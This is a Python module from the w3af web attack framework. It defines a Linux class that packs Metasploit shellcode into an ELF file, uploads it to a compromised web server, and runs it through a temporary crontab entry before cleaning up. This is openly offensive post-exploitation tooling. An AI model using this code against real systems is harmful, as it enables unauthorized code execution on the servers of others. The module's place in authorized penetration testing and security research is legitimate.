'''
lnxVd.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

from core.controllers.vdaemon.vdaemon import vdaemon
from core.controllers.vdaemon.elf import elf
import core.controllers.outputManager as om
import time
from core.controllers.w3afException import *

from core.controllers.payloadTransfer.payloadTransferFactory import payloadTransferFactory
from core.controllers.intrusionTools.execMethodHelpers import *
from core.controllers.intrusionTools.crontabHandler import crontabHandler

class lnxVd(vdaemon):
    '''
    This class represents a linux virtual daemon, a point of entry for metasploit plugins to exploit web applications.
    
    @author: Andres Riancho ( andres.riancho@gmail.com )
    '''                     
    
    def _generateExe( self, shellcode ):
        '''
        This method should be implemented according to the remote operating system. The idea here
        is to generate an ELF/PE file and return a string that represents it.
        
        This method should be implemented in winVd and lnxVd.
        '''
        e = elf()
        e.setShellCode( shellcode )
        return e.dump()
        
    def _sendExeToServer( self, exeFile ):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        send the exeFile to the remote server and save it in a file.
        
        This method should be implemented in winVd and lnxVd.
        '''
        om.out.debug('Called lnxVd._sendExeToServer()')
        
        ptf = payloadTransferFactory( self._execMethod )
        
        # Let MSF know how much time it will take to perform the extrusion scan
        waitTimeForExtrusionScan = ptf.estimateTransferTime()
        om.out.debug('The extrusion scan will take "' + str(waitTimeForExtrusionScan) + '" seconds.')
        self._sendToMSF( str( waitTimeForExtrusionScan ).zfill(2) )
        
        # Now we get the transfer handler
        transferHandler = ptf.getTransferHandler()
        # Let MSF know we finished with this stage
        self._sendToMSF( '<go>' )
        
        if not transferHandler.canTransfer():
            raise w3afException('Can\'t transfer shellcode to remote host, canTransfer() returned False.')
        else:
            om.out.debug('The transferHandler can upload files to the remote end.')
            # Let MSF know how much time it will take to transfer the file
            estimatedTime = transferHandler.estimateTransferTime( len(exeFile) )
            om.out.debug('The payload transfer will take "' + str(estimatedTime) + '" seconds.')
            self._sendToMSF( str( estimatedTime ).zfill(2) )
            
            self._filename = getRemoteTempFile( self._execMethod )
            om.out.debug('Starting shellcode upload, remote filename is: "' + self._filename + '".')
            transferHandler.transfer( exeFile, self._filename )
            
            # Let MSF know we finished with this stage
            self._sendToMSF( '<go>' )
        
        om.out.debug('Finished shellcode upload.')
    
    def _cleanUp( self ):
        '''
        Removes the created file and the crontab entry.
        '''
        apply( self._execMethod, ( '/bin/rm ' + self._filename,))
        apply( self._execMethod, ( '/bin/rm ' + self._cronFile,))
    
    def _execShellcode( self ):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        execute the payload that was sent using _sendExeToServer and generated by _generateExe . In lnxVd
        I should add self._filename to the crontab .
        
        This method should be implemented in winVd and lnxVd.
        '''
        cH = crontabHandler( self._execMethod )
        if not cH.canDelay():
            msg = '[lnxVd] Failed to create cron entry.'
            om.out.debug( msg )
            raise w3afException( msg )
        else:
            waitTime = cH.addToSchedule( self._filename )
            # Let MSF how much time it should wait
            self._sendToMSF( str(waitTime).zfill(2) )

            om.out.debug('Crontab entry successfully added. Waiting for shellcode execution.')
            time.sleep( waitTime + 3 )
            
            # Let MSF know we finished with this stage, now MSF will start the handler
            self._sendToMSF( '<go>' )
            
            om.out.debug('Shellcode successfully executed, restoring old crontab.')
            cH.restoreOldSchedule()
            
            om.out.debug('All done, check metasploit for results.')

    def getOS( self ):
        return 'linux'
